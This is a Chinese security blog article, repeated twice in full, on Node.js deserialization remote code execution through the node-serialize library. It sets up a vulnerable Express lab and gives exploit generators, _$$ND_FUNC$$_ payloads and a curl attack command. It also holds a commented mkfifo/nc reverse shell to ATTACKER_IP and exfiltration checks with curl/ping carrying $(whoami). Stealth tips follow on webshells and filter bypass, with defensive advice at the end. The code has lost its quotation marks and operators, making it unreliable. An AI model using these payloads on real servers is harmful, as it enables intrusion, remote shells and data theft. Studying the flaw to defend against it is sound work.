1. 项目概述为什么Node.js反序列化漏洞值得深挖最近在复盘一些Web应用安全审计的案例时我发现一个现象很多团队对SQL注入、XSS这类“传统艺能”警惕性很高防护措施也相对完善但对于反序列化漏洞尤其是Node.js生态下的往往存在认知盲区。这其实挺危险的因为一旦被利用攻击者可能直接拿到服务器权限危害等级非常高。今天我就结合源码把Node.js里反序列化漏洞的来龙去脉、核心原理以及实战利用手法给大家掰开揉碎了讲清楚。简单来说反序列化漏洞的根源在于程序将一段“序列化”后的数据比如一个JSON字符串重新转换“反序列化”回内存中的对象时如果这个过程不够安全就可能执行数据中夹带的恶意代码。在Node.js里最典型的“危险函数”就是eval()和Function构造函数而一些流行的序列化库如果使用不当就会间接调用它们。理解这个漏洞不仅能帮你写出更安全的代码在渗透测试或红队评估时也能多一个犀利的突破口。无论你是开发者、安全研究员还是运维这篇内容都值得你花时间深入阅读。2. 核心原理从序列化到代码执行的链条要理解漏洞必须先明白序列化在Node.js里是怎么工作的。我们常用的JSON.parse()本身是相对安全的因为它只解析纯数据。但有些场景下我们需要序列化函数、正则表达式甚至循环引用的对象这时就会用到功能更强大的库比如node-serialize。问题就出在这些库为了实现“强大功能”而引入的机制上。2.1node-serialize库的“魔法”与陷阱node-serialize是一个允许序列化函数和正则表达式的库。它的核心“魔法”是通过在序列化后的字符串中嵌入一种特殊的标记在反序列化时识别并还原它们。我们直接看它的源码关键部分以某个历史版本为例// 简化的、用于说明原理的序列化过程 Serialize.prototype.serialize function(obj) { var self this; // ... 其他处理 ... var str JSON.stringify(obj, function(key, value) { // 如果值是函数则将其转换为一个特殊字符串 if (typeof value function) { return self._encodeFunction(value); } return value; }); return str; }; Serialize.prototype._encodeFunction function(fn) { // 关键步骤将函数体代码转换为字符串并加上前缀 return _$$ND_FUNC$$_ fn.toString(); };序列化一个包含函数的对象{ cmd: function() { console.log(hello); } }可能会得到这样的字符串{cmd:_$$ND_FUNC$$_function() { console.log(hello); }}现在看反序列化这是漏洞的关键Serialize.prototype.unserialize function(str, options) { var self this; // 使用 JSON.parse 解析基础结构 var obj JSON.parse(str); // 然后遍历对象寻找特殊标记并进行“复活” return self._revive(obj); }; Serialize.prototype._revive function(obj) { var self this; // 递归遍历对象 traverse(obj).forEach(function (val) { if (typeof val string) { // 如果字符串以特定前缀开头则认为是函数 if (val.indexOf(_$$ND_FUNC$$_) 0) { // 关键危险操作提取函数代码字符串 var functionBody val.substring(_$$ND_FUNC$$_.length); // 使用 eval 或 Function 构造函数来“重建”函数 var fn self._evalFunction(( functionBody )); // 用重建的函数替换原来的字符串 this.update(fn); } } }); return obj; }; Serialize.prototype._evalFunction function(code) { // 危险操作直接使用 eval return eval(code); // 或者使用 Function 构造函数return (new Function(return code))(); };漏洞原理一目了然攻击者可以构造一个序列化字符串其中的functionBody部分不是合法的函数声明而是任意JavaScript代码。由于_evalFunction方法直接使用了eval()这段代码将在反序列化过程中被立即执行。注意这里为了清晰说明代码是高度简化的。实际库的代码会更复杂包含更多检查和边缘情况处理但核心危险模式——eval或new Function()执行来自不可信源的字符串——是相同的。2.2 漏洞利用的关键构造恶意Payload假设一个Web应用使用node-serialize来反序列化用户传入的Cookie或POST数据。攻击者的目标就是构造一个特殊的字符串使得_revive方法在处理时执行我们想要的命令。一个经典的Payload构造如下我们想执行require(child_process).exec(calc)在Windows上弹出计算器。我们不能直接序列化这个函数调用因为库期望的是一个函数定义。所以我们需要将它包裹在一个立即执行的函数表达式IIFE中。构造的恶意对象可能是{ rce: function(){ require(child_process).exec(calc, function(error, stdout, stderr) {}); } }经过有漏洞的node-serialize序列化后会变成类似{rce:_$$ND_FUNC$$_function(){ require(child_process).exec(calc, function(error, stdout, stderr) {}); }}当这个字符串被传递给unserialize()时_revive方法会识别_$$ND_FUNC$$_前缀提取后面的字符串并通过eval(( functionBody ))来执行。这里的functionBody就是整个函数定义eval会将其转换为一个函数对象。但是仅仅定义函数并不会执行它。为了让代码执行我们需要让这个函数在定义后立刻被调用。因此更精妙的Payload会利用JavaScript的语法特性// 一个更直接的恶意Payload构造思路 const maliciousPayload { rce: _$$ND_FUNC$$_function(){ require(child_process).exec(touch /tmp/pwned, (){}) }() }; // 序列化后字符串会是 // {rce:_$$ND_FUNC$$_function(){ require(child_process).exec(touch /tmp/pwned, (){}) }()}看最后的部分}()这意味着函数定义后面紧跟了一对括号()。当eval执行(function(){...}())时这个IIFE会立即被调用从而执行其中的命令。实操心得在实际测试中直接生成这样的Payload可能需要模拟库的序列化过程。更常见的方法是先在自己的环境里引入有漏洞的库版本创建一个包含恶意函数的对象调用库的serialize()方法得到序列化后的字符串这个字符串就是可以直接用于攻击的Payload。3. 漏洞利用实战从理论到攻击链理解了原理我们来看看在实际场景中如何利用。这里我假设一个简单的、存在漏洞的Express.js服务器。3.1 搭建一个存在漏洞的靶场创建一个vulnerable_server.jsconst express require(express); const serialize require(node-serialize); // 假设安装的是存在漏洞的版本 const cookieParser require(cookie-parser); const app express(); app.use(cookieParser()); app.get(/, (req, res) { // 从cookie中读取用户数据 let userData req.cookies.userData; if (userData) { try { // 危险操作直接反序列化来自客户端的cookie let userObj serialize.unserialize(userData); res.send(Hello, user data loaded: JSON.stringify(userObj)); } catch (e) { res.send(Failed to parse user data.); } } else { // 设置一个“无害”的示例cookie let obj { username: guest, isAdmin: false }; let serialized serialize.serialize(obj); res.cookie(userData, serialized); res.send(Cookie has been set. Refresh page.); } }); app.listen(3000, () { console.log(Vulnerable server running on port 3000); });这个服务器的漏洞点非常清晰它信任了客户端传来的userDataCookie并直接对其调用unserialize。3.2 生成并发送恶意Payload接下来我们作为攻击者需要生成一个能执行命令的Payload。我们创建一个exploit.js// exploit.js - 用于生成恶意序列化字符串 const serialize require(node-serialize); // 必须和服务器使用相同版本库 // 定义一个立即执行并反弹shell的函数 // 这里以在Linux上创建一个文件作为证明实际攻击可能是反弹shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc ATTACKER_IP 4444 /tmp/f const maliciousObject { hack: function() { require(child_process).exec(echo pwned /tmp/exploited, (){}); }() }; // 注意上面的函数定义后紧跟了()意味着对象创建时这个函数就会执行一次。 // 但我们需要的是序列化后的字符串里包含这个立即执行的结构。 // 实际上直接序列化这个对象函数执行发生在生成Payload的本地机器上这不是我们想要的。 // 正确的方法是构造一个字符串该字符串在反序列化eval时会被当作立即执行函数。 // 我们可以手动拼接或者利用库的特性 let payload {rce:_$$ND_FUNC$$_function(){ require(\\child_process\\).exec(\\echo \\\\\\pwned\\\\\\ /tmp/exploited\\, (){}); }()}; // 更可靠的方式使用库本身来序列化一个包含特定字符串的对象 const y { rce: _$$ND_FUNC$$_function(){ require(child_process).exec(echo \\pwned\\ /tmp/exploited, (){}); }() }; const serialized serialize.serialize(y); console.log(恶意Payload:); console.log(serialized); // 输出结果类似 // {rce:_$$ND_FUNC$$_function(){ require(\child_process\).exec(\echo \\\pwned\\\ /tmp/exploited\, (){}); }()}现在我们有了Payload。我们可以使用浏览器开发者工具、curl命令或者Python脚本将这个字符串设置为对http://localhost:3000请求的userDataCookie。使用curl发起攻击curl -H Cookie: userData{rce:_$$ND_FUNC$$_function(){ require(\child_process\).exec(\echo \\\pwned\\\ /tmp/exploited\, (){}); }()} http://localhost:3000/如果服务器存在漏洞并且具有相应的文件系统权限那么/tmp/exploited文件就会被创建。注意事项命令中的引号转义这是整个过程中最繁琐也最容易出错的地方。因为Payload需要经过多层编码JavaScript字符串中的引号、JSON字符串中的引号。在手动构造时需要仔细计算转义字符\。使用库序列化一个精心构造的字符串对象通常比手动拼接更可靠。上下文差异require在服务器端反序列化时是存在的但在浏览器环境中不存在。我们的Payload是针对Node.js服务器环境的。结果无回显上述例子是“盲打”我们不知道命令是否执行成功。在实际渗透测试中可能会尝试执行能带来外部交互的命令如DNS查询、HTTP请求到攻击者控制的服务器或者使用更复杂的技巧来获取命令输出。4. 漏洞的变种与其它危险库node-serialize是一个典型但绝非唯一。任何在反序列化过程中允许或导致任意代码执行的库都存在风险。4.1eval与Function构造函数的滥用漏洞的本质是eval或new Function()。有些库可能为了灵活性提供“复活器”reviver函数如果用户传入的复活器函数不安全也可能导致问题。例如使用JSON.parse(text, reviver)时如果reviver函数内部对某些值进行了eval操作且该text用户可控风险就产生了。4.2 原型链污染与反序列化的结合这是一个更高级的攻击面。有些攻击Payload的目标不是直接执行代码而是篡改对象的原型如Object.prototype。例如一个看起来无害的反序列化对象{__proto__: {polluted: yes}}在某些旧的或配置不当的JSON解析库中可能会污染所有对象的原型从而影响应用行为再结合其他漏洞实现攻击。虽然JSON.parse默认不解析__proto__但一些自定义解析器可能处理不当。4.3serialize-javascript与eval的误用serialize-javascript库通常用于安全地序列化数据到HTML中以供客户端使用它默认会对函数进行安全处理。但是它的反序列化通常依赖于客户端的eval或Function并明确警告仅用于可信数据。如果开发者错误地将服务器端反序列化本应使用JSON.parse也用它并且数据源不可信同样可能引入风险。关键在于任何将序列化字符串与eval绑定的模式在服务器端处理不可信输入时都是危险的。5. 防御策略与安全编码实践知道了怎么攻击防御就有了方向。核心原则是永远不要反序列化来自不可信来源的数据。如果必须这么做则需要采取严格的缓解措施。5.1 首选安全替代方案坚持使用JSON.parse和JSON.stringify对于绝大多数数据传输和存储场景纯JSON已经足够。这是最安全、性能最好的选择。如果需要传输函数请重新设计你的应用架构这通常是一个坏味道。使用安全的序列化协议考虑使用Protocol Buffers、MessagePack或Avro等二进制序列化格式。它们有严格的模式定义通常不直接支持代码序列化天生更安全。但同样要使用官方和经过审计的实现。5.2 如果必须使用功能更强的序列化严格的白名单验证在反序列化之前对数据进行严格的结构验证。使用如joi、ajv(JSON Schema) 等库定义清晰的数据模式只允许预期的字段和类型通过。在沙箱中执行如果业务上确实需要反序列化包含逻辑的对象这种情况极少可以考虑在隔离的环境中执行。Node.js的worker_threads或单独的子进程可以作为一个隔离层限制其权限和资源访问。但请注意沙箱逃逸是安全领域的难题Node.js内置的vm模块也并非完全安全的沙箱。使用安全的反序列化库寻找那些明确声明不支持函数序列化、或通过其他安全机制如签名验证的库。并始终保持库版本更新。5.3 代码审计与依赖管理审计代码中的危险函数在项目中全局搜索eval、new Function、setTimeout/setInterval传入字符串、module.constructor._load等关键字。审查它们处理的数据是否可能来自用户输入。管理依赖使用npm audit定期检查项目依赖中的已知漏洞。对于node-serialize这样的库如果非必需应尽快移除或寻找替代品。如果必须使用请确认使用的是已修复安全问题的最新版本但该库的核心设计模式决定了其高风险性。深度防御即使应用层做了检查在操作系统和容器层面也应实施最小权限原则。运行Node.js进程的用户应具有尽可能少的权限避免使用root用户。这样即使被攻破攻击者能造成的破坏也有限。6. 常见问题与排查技巧实录在实际开发和渗透测试中会遇到一些典型问题。6.1 问题排查表问题现象可能原因排查步骤与解决方案Payload发送后服务器返回500错误或直接崩溃。1. Payload格式错误JSON解析失败。2. 命令执行本身出错如命令不存在。3. 目标库版本与生成Payload的库版本不一致序列化格式有差异。1. 先在本地测试Payload能否被目标库的unserialize正确解析不执行命令只解析。2. 简化Payload比如先尝试执行echo test或whoami这类简单且通用的命令。3. 查看服务器日志获取具体的错误信息。如果是权限问题命令可能执行了但失败了。命令似乎执行了但没看到效果如文件没创建。1. 当前Node.js进程用户没有目标目录的写权限。2. 命令路径问题。3. 盲打无法确认执行结果。1. 尝试在/tmp目录下操作该目录通常对所有用户可写。2. 使用绝对路径调用命令如/bin/bash -c \...\。3. 使用能产生外部交互的命令来验证例如-DNS查询ping -c 1 $(whoami).your-domain.com-HTTP请求curl http://your-server/$(whoami)需要在你的服务器上监听DNS或HTTP日志使用了node-serialize但攻击不成功。1. 服务器可能使用了经过修改的、修复了漏洞的版本。2. 服务器对输入进行了过滤或编码。3. 反序列化后的对象没有被访问导致惰性执行的函数未被触发。1. 尝试分析服务器使用的库版本。2. 检查网络流量看Payload在传输过程中是否被改变如URL编码、HTML编码。3. 确保Payload中的函数是IIFE立即执行或者序列化后的属性在服务器端逻辑中会被读取/调用。如何判断一个应用是否存在此漏洞黑盒测试寻找接收序列化数据的入口点。1. 寻找Cookie、POST数据、URL参数中可能包含的序列化字符串如包含_$$ND_FUNC$$_等特征标记。2. 使用扫描器或手动修改数据将正常数据替换为简单的测试Payload如执行sleep 5观察服务器响应是否延迟。3. 静态代码审计搜索项目代码中的unserialize、deserialize、revive等关键字以及node-serialize、serialize-javascript等依赖。6.2 实操心得与高级技巧Payload的“隐身术”在实际攻击中直接执行exec可能被安全软件或运维监控发现。可以尝试更隐蔽的方式比如利用JavaScript本身的能力进行信息窃取遍历全局对象、读取文件或作为跳板或者将命令编码后执行。上下文感知你的Payload是在Node.js的服务器上下文中执行的。这意味着你可以访问require、process、global等对象。一个常用的技巧是使用process.mainModule.require来加载模块有时可以绕过一些简单的限制。利用其他模块除了child_process.exec还可以考虑child_process.spawn、fs.writeFileSync写Webshell、net.connect反弹Shell等模块根据目标环境灵活选择。不要只盯着RCE反序列化漏洞可能导致的不只是远程代码执行。如果攻击者能够控制反序列化出的对象他们可能篡改业务逻辑、进行权限提升如将user.isAdmin改为true、或者造成拒绝服务通过构造深度嵌套的循环引用对象耗尽服务器内存。7. 从漏洞修复看安全编码意识以node-serialize库为例后续的修复版本通常会做两件事一是移除默认的eval方式改为更安全的机制二是引入可选的“复活器”函数并由开发者决定是否启用以及如何安全地处理函数。这告诉我们作为开发者理解底层原理不要仅仅调用API。花时间了解你使用的库在做什么特别是涉及代码执行、文件操作、网络通信等敏感操作时。默认拒绝对于任何用户输入默认态度应该是不信任。所有输入都必须经过验证、净化和转义。最小化攻击面不要为了不必要的灵活性而引入危险功能。如果不需要序列化函数就绝对不要使用支持此功能的库。安全是一个持续的过程而不是一个可以一劳永逸开启的开关。对于Node.js反序列化这类漏洞最好的防御就是提高团队的安全意识在代码审查和架构设计阶段就将这些风险考虑进去。每次你写下JSON.parse(dataFromUser)时如果dataFromUser不是完全可信的心里都应该敲响一次警钟。而对于安全研究者来说理解这些原理则是你手中一把锋利的剑帮助你在复杂的网络世界中识别风险加固防线。
Node.js反序列化漏洞原理与实战:从eval到RCE攻击链剖析
发布时间:2026/7/5 9:30:20
1. 项目概述为什么Node.js反序列化漏洞值得深挖最近在复盘一些Web应用安全审计的案例时我发现一个现象很多团队对SQL注入、XSS这类“传统艺能”警惕性很高防护措施也相对完善但对于反序列化漏洞尤其是Node.js生态下的往往存在认知盲区。这其实挺危险的因为一旦被利用攻击者可能直接拿到服务器权限危害等级非常高。今天我就结合源码把Node.js里反序列化漏洞的来龙去脉、核心原理以及实战利用手法给大家掰开揉碎了讲清楚。简单来说反序列化漏洞的根源在于程序将一段“序列化”后的数据比如一个JSON字符串重新转换“反序列化”回内存中的对象时如果这个过程不够安全就可能执行数据中夹带的恶意代码。在Node.js里最典型的“危险函数”就是eval()和Function构造函数而一些流行的序列化库如果使用不当就会间接调用它们。理解这个漏洞不仅能帮你写出更安全的代码在渗透测试或红队评估时也能多一个犀利的突破口。无论你是开发者、安全研究员还是运维这篇内容都值得你花时间深入阅读。2. 核心原理从序列化到代码执行的链条要理解漏洞必须先明白序列化在Node.js里是怎么工作的。我们常用的JSON.parse()本身是相对安全的因为它只解析纯数据。但有些场景下我们需要序列化函数、正则表达式甚至循环引用的对象这时就会用到功能更强大的库比如node-serialize。问题就出在这些库为了实现“强大功能”而引入的机制上。2.1node-serialize库的“魔法”与陷阱node-serialize是一个允许序列化函数和正则表达式的库。它的核心“魔法”是通过在序列化后的字符串中嵌入一种特殊的标记在反序列化时识别并还原它们。我们直接看它的源码关键部分以某个历史版本为例// 简化的、用于说明原理的序列化过程 Serialize.prototype.serialize function(obj) { var self this; // ... 其他处理 ... var str JSON.stringify(obj, function(key, value) { // 如果值是函数则将其转换为一个特殊字符串 if (typeof value function) { return self._encodeFunction(value); } return value; }); return str; }; Serialize.prototype._encodeFunction function(fn) { // 关键步骤将函数体代码转换为字符串并加上前缀 return _$$ND_FUNC$$_ fn.toString(); };序列化一个包含函数的对象{ cmd: function() { console.log(hello); } }可能会得到这样的字符串{cmd:_$$ND_FUNC$$_function() { console.log(hello); }}现在看反序列化这是漏洞的关键Serialize.prototype.unserialize function(str, options) { var self this; // 使用 JSON.parse 解析基础结构 var obj JSON.parse(str); // 然后遍历对象寻找特殊标记并进行“复活” return self._revive(obj); }; Serialize.prototype._revive function(obj) { var self this; // 递归遍历对象 traverse(obj).forEach(function (val) { if (typeof val string) { // 如果字符串以特定前缀开头则认为是函数 if (val.indexOf(_$$ND_FUNC$$_) 0) { // 关键危险操作提取函数代码字符串 var functionBody val.substring(_$$ND_FUNC$$_.length); // 使用 eval 或 Function 构造函数来“重建”函数 var fn self._evalFunction(( functionBody )); // 用重建的函数替换原来的字符串 this.update(fn); } } }); return obj; }; Serialize.prototype._evalFunction function(code) { // 危险操作直接使用 eval return eval(code); // 或者使用 Function 构造函数return (new Function(return code))(); };漏洞原理一目了然攻击者可以构造一个序列化字符串其中的functionBody部分不是合法的函数声明而是任意JavaScript代码。由于_evalFunction方法直接使用了eval()这段代码将在反序列化过程中被立即执行。注意这里为了清晰说明代码是高度简化的。实际库的代码会更复杂包含更多检查和边缘情况处理但核心危险模式——eval或new Function()执行来自不可信源的字符串——是相同的。2.2 漏洞利用的关键构造恶意Payload假设一个Web应用使用node-serialize来反序列化用户传入的Cookie或POST数据。攻击者的目标就是构造一个特殊的字符串使得_revive方法在处理时执行我们想要的命令。一个经典的Payload构造如下我们想执行require(child_process).exec(calc)在Windows上弹出计算器。我们不能直接序列化这个函数调用因为库期望的是一个函数定义。所以我们需要将它包裹在一个立即执行的函数表达式IIFE中。构造的恶意对象可能是{ rce: function(){ require(child_process).exec(calc, function(error, stdout, stderr) {}); } }经过有漏洞的node-serialize序列化后会变成类似{rce:_$$ND_FUNC$$_function(){ require(child_process).exec(calc, function(error, stdout, stderr) {}); }}当这个字符串被传递给unserialize()时_revive方法会识别_$$ND_FUNC$$_前缀提取后面的字符串并通过eval(( functionBody ))来执行。这里的functionBody就是整个函数定义eval会将其转换为一个函数对象。但是仅仅定义函数并不会执行它。为了让代码执行我们需要让这个函数在定义后立刻被调用。因此更精妙的Payload会利用JavaScript的语法特性// 一个更直接的恶意Payload构造思路 const maliciousPayload { rce: _$$ND_FUNC$$_function(){ require(child_process).exec(touch /tmp/pwned, (){}) }() }; // 序列化后字符串会是 // {rce:_$$ND_FUNC$$_function(){ require(child_process).exec(touch /tmp/pwned, (){}) }()}看最后的部分}()这意味着函数定义后面紧跟了一对括号()。当eval执行(function(){...}())时这个IIFE会立即被调用从而执行其中的命令。实操心得在实际测试中直接生成这样的Payload可能需要模拟库的序列化过程。更常见的方法是先在自己的环境里引入有漏洞的库版本创建一个包含恶意函数的对象调用库的serialize()方法得到序列化后的字符串这个字符串就是可以直接用于攻击的Payload。3. 漏洞利用实战从理论到攻击链理解了原理我们来看看在实际场景中如何利用。这里我假设一个简单的、存在漏洞的Express.js服务器。3.1 搭建一个存在漏洞的靶场创建一个vulnerable_server.jsconst express require(express); const serialize require(node-serialize); // 假设安装的是存在漏洞的版本 const cookieParser require(cookie-parser); const app express(); app.use(cookieParser()); app.get(/, (req, res) { // 从cookie中读取用户数据 let userData req.cookies.userData; if (userData) { try { // 危险操作直接反序列化来自客户端的cookie let userObj serialize.unserialize(userData); res.send(Hello, user data loaded: JSON.stringify(userObj)); } catch (e) { res.send(Failed to parse user data.); } } else { // 设置一个“无害”的示例cookie let obj { username: guest, isAdmin: false }; let serialized serialize.serialize(obj); res.cookie(userData, serialized); res.send(Cookie has been set. Refresh page.); } }); app.listen(3000, () { console.log(Vulnerable server running on port 3000); });这个服务器的漏洞点非常清晰它信任了客户端传来的userDataCookie并直接对其调用unserialize。3.2 生成并发送恶意Payload接下来我们作为攻击者需要生成一个能执行命令的Payload。我们创建一个exploit.js// exploit.js - 用于生成恶意序列化字符串 const serialize require(node-serialize); // 必须和服务器使用相同版本库 // 定义一个立即执行并反弹shell的函数 // 这里以在Linux上创建一个文件作为证明实际攻击可能是反弹shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc ATTACKER_IP 4444 /tmp/f const maliciousObject { hack: function() { require(child_process).exec(echo pwned /tmp/exploited, (){}); }() }; // 注意上面的函数定义后紧跟了()意味着对象创建时这个函数就会执行一次。 // 但我们需要的是序列化后的字符串里包含这个立即执行的结构。 // 实际上直接序列化这个对象函数执行发生在生成Payload的本地机器上这不是我们想要的。 // 正确的方法是构造一个字符串该字符串在反序列化eval时会被当作立即执行函数。 // 我们可以手动拼接或者利用库的特性 let payload {rce:_$$ND_FUNC$$_function(){ require(\\child_process\\).exec(\\echo \\\\\\pwned\\\\\\ /tmp/exploited\\, (){}); }()}; // 更可靠的方式使用库本身来序列化一个包含特定字符串的对象 const y { rce: _$$ND_FUNC$$_function(){ require(child_process).exec(echo \\pwned\\ /tmp/exploited, (){}); }() }; const serialized serialize.serialize(y); console.log(恶意Payload:); console.log(serialized); // 输出结果类似 // {rce:_$$ND_FUNC$$_function(){ require(\child_process\).exec(\echo \\\pwned\\\ /tmp/exploited\, (){}); }()}现在我们有了Payload。我们可以使用浏览器开发者工具、curl命令或者Python脚本将这个字符串设置为对http://localhost:3000请求的userDataCookie。使用curl发起攻击curl -H Cookie: userData{rce:_$$ND_FUNC$$_function(){ require(\child_process\).exec(\echo \\\pwned\\\ /tmp/exploited\, (){}); }()} http://localhost:3000/如果服务器存在漏洞并且具有相应的文件系统权限那么/tmp/exploited文件就会被创建。注意事项命令中的引号转义这是整个过程中最繁琐也最容易出错的地方。因为Payload需要经过多层编码JavaScript字符串中的引号、JSON字符串中的引号。在手动构造时需要仔细计算转义字符\。使用库序列化一个精心构造的字符串对象通常比手动拼接更可靠。上下文差异require在服务器端反序列化时是存在的但在浏览器环境中不存在。我们的Payload是针对Node.js服务器环境的。结果无回显上述例子是“盲打”我们不知道命令是否执行成功。在实际渗透测试中可能会尝试执行能带来外部交互的命令如DNS查询、HTTP请求到攻击者控制的服务器或者使用更复杂的技巧来获取命令输出。4. 漏洞的变种与其它危险库node-serialize是一个典型但绝非唯一。任何在反序列化过程中允许或导致任意代码执行的库都存在风险。4.1eval与Function构造函数的滥用漏洞的本质是eval或new Function()。有些库可能为了灵活性提供“复活器”reviver函数如果用户传入的复活器函数不安全也可能导致问题。例如使用JSON.parse(text, reviver)时如果reviver函数内部对某些值进行了eval操作且该text用户可控风险就产生了。4.2 原型链污染与反序列化的结合这是一个更高级的攻击面。有些攻击Payload的目标不是直接执行代码而是篡改对象的原型如Object.prototype。例如一个看起来无害的反序列化对象{__proto__: {polluted: yes}}在某些旧的或配置不当的JSON解析库中可能会污染所有对象的原型从而影响应用行为再结合其他漏洞实现攻击。虽然JSON.parse默认不解析__proto__但一些自定义解析器可能处理不当。4.3serialize-javascript与eval的误用serialize-javascript库通常用于安全地序列化数据到HTML中以供客户端使用它默认会对函数进行安全处理。但是它的反序列化通常依赖于客户端的eval或Function并明确警告仅用于可信数据。如果开发者错误地将服务器端反序列化本应使用JSON.parse也用它并且数据源不可信同样可能引入风险。关键在于任何将序列化字符串与eval绑定的模式在服务器端处理不可信输入时都是危险的。5. 防御策略与安全编码实践知道了怎么攻击防御就有了方向。核心原则是永远不要反序列化来自不可信来源的数据。如果必须这么做则需要采取严格的缓解措施。5.1 首选安全替代方案坚持使用JSON.parse和JSON.stringify对于绝大多数数据传输和存储场景纯JSON已经足够。这是最安全、性能最好的选择。如果需要传输函数请重新设计你的应用架构这通常是一个坏味道。使用安全的序列化协议考虑使用Protocol Buffers、MessagePack或Avro等二进制序列化格式。它们有严格的模式定义通常不直接支持代码序列化天生更安全。但同样要使用官方和经过审计的实现。5.2 如果必须使用功能更强的序列化严格的白名单验证在反序列化之前对数据进行严格的结构验证。使用如joi、ajv(JSON Schema) 等库定义清晰的数据模式只允许预期的字段和类型通过。在沙箱中执行如果业务上确实需要反序列化包含逻辑的对象这种情况极少可以考虑在隔离的环境中执行。Node.js的worker_threads或单独的子进程可以作为一个隔离层限制其权限和资源访问。但请注意沙箱逃逸是安全领域的难题Node.js内置的vm模块也并非完全安全的沙箱。使用安全的反序列化库寻找那些明确声明不支持函数序列化、或通过其他安全机制如签名验证的库。并始终保持库版本更新。5.3 代码审计与依赖管理审计代码中的危险函数在项目中全局搜索eval、new Function、setTimeout/setInterval传入字符串、module.constructor._load等关键字。审查它们处理的数据是否可能来自用户输入。管理依赖使用npm audit定期检查项目依赖中的已知漏洞。对于node-serialize这样的库如果非必需应尽快移除或寻找替代品。如果必须使用请确认使用的是已修复安全问题的最新版本但该库的核心设计模式决定了其高风险性。深度防御即使应用层做了检查在操作系统和容器层面也应实施最小权限原则。运行Node.js进程的用户应具有尽可能少的权限避免使用root用户。这样即使被攻破攻击者能造成的破坏也有限。6. 常见问题与排查技巧实录在实际开发和渗透测试中会遇到一些典型问题。6.1 问题排查表问题现象可能原因排查步骤与解决方案Payload发送后服务器返回500错误或直接崩溃。1. Payload格式错误JSON解析失败。2. 命令执行本身出错如命令不存在。3. 目标库版本与生成Payload的库版本不一致序列化格式有差异。1. 先在本地测试Payload能否被目标库的unserialize正确解析不执行命令只解析。2. 简化Payload比如先尝试执行echo test或whoami这类简单且通用的命令。3. 查看服务器日志获取具体的错误信息。如果是权限问题命令可能执行了但失败了。命令似乎执行了但没看到效果如文件没创建。1. 当前Node.js进程用户没有目标目录的写权限。2. 命令路径问题。3. 盲打无法确认执行结果。1. 尝试在/tmp目录下操作该目录通常对所有用户可写。2. 使用绝对路径调用命令如/bin/bash -c \...\。3. 使用能产生外部交互的命令来验证例如-DNS查询ping -c 1 $(whoami).your-domain.com-HTTP请求curl http://your-server/$(whoami)需要在你的服务器上监听DNS或HTTP日志使用了node-serialize但攻击不成功。1. 服务器可能使用了经过修改的、修复了漏洞的版本。2. 服务器对输入进行了过滤或编码。3. 反序列化后的对象没有被访问导致惰性执行的函数未被触发。1. 尝试分析服务器使用的库版本。2. 检查网络流量看Payload在传输过程中是否被改变如URL编码、HTML编码。3. 确保Payload中的函数是IIFE立即执行或者序列化后的属性在服务器端逻辑中会被读取/调用。如何判断一个应用是否存在此漏洞黑盒测试寻找接收序列化数据的入口点。1. 寻找Cookie、POST数据、URL参数中可能包含的序列化字符串如包含_$$ND_FUNC$$_等特征标记。2. 使用扫描器或手动修改数据将正常数据替换为简单的测试Payload如执行sleep 5观察服务器响应是否延迟。3. 静态代码审计搜索项目代码中的unserialize、deserialize、revive等关键字以及node-serialize、serialize-javascript等依赖。6.2 实操心得与高级技巧Payload的“隐身术”在实际攻击中直接执行exec可能被安全软件或运维监控发现。可以尝试更隐蔽的方式比如利用JavaScript本身的能力进行信息窃取遍历全局对象、读取文件或作为跳板或者将命令编码后执行。上下文感知你的Payload是在Node.js的服务器上下文中执行的。这意味着你可以访问require、process、global等对象。一个常用的技巧是使用process.mainModule.require来加载模块有时可以绕过一些简单的限制。利用其他模块除了child_process.exec还可以考虑child_process.spawn、fs.writeFileSync写Webshell、net.connect反弹Shell等模块根据目标环境灵活选择。不要只盯着RCE反序列化漏洞可能导致的不只是远程代码执行。如果攻击者能够控制反序列化出的对象他们可能篡改业务逻辑、进行权限提升如将user.isAdmin改为true、或者造成拒绝服务通过构造深度嵌套的循环引用对象耗尽服务器内存。7. 从漏洞修复看安全编码意识以node-serialize库为例后续的修复版本通常会做两件事一是移除默认的eval方式改为更安全的机制二是引入可选的“复活器”函数并由开发者决定是否启用以及如何安全地处理函数。这告诉我们作为开发者理解底层原理不要仅仅调用API。花时间了解你使用的库在做什么特别是涉及代码执行、文件操作、网络通信等敏感操作时。默认拒绝对于任何用户输入默认态度应该是不信任。所有输入都必须经过验证、净化和转义。最小化攻击面不要为了不必要的灵活性而引入危险功能。如果不需要序列化函数就绝对不要使用支持此功能的库。安全是一个持续的过程而不是一个可以一劳永逸开启的开关。对于Node.js反序列化这类漏洞最好的防御就是提高团队的安全意识在代码审查和架构设计阶段就将这些风险考虑进去。每次你写下JSON.parse(dataFromUser)时如果dataFromUser不是完全可信的心里都应该敲响一次警钟。而对于安全研究者来说理解这些原理则是你手中一把锋利的剑帮助你在复杂的网络世界中识别风险加固防线。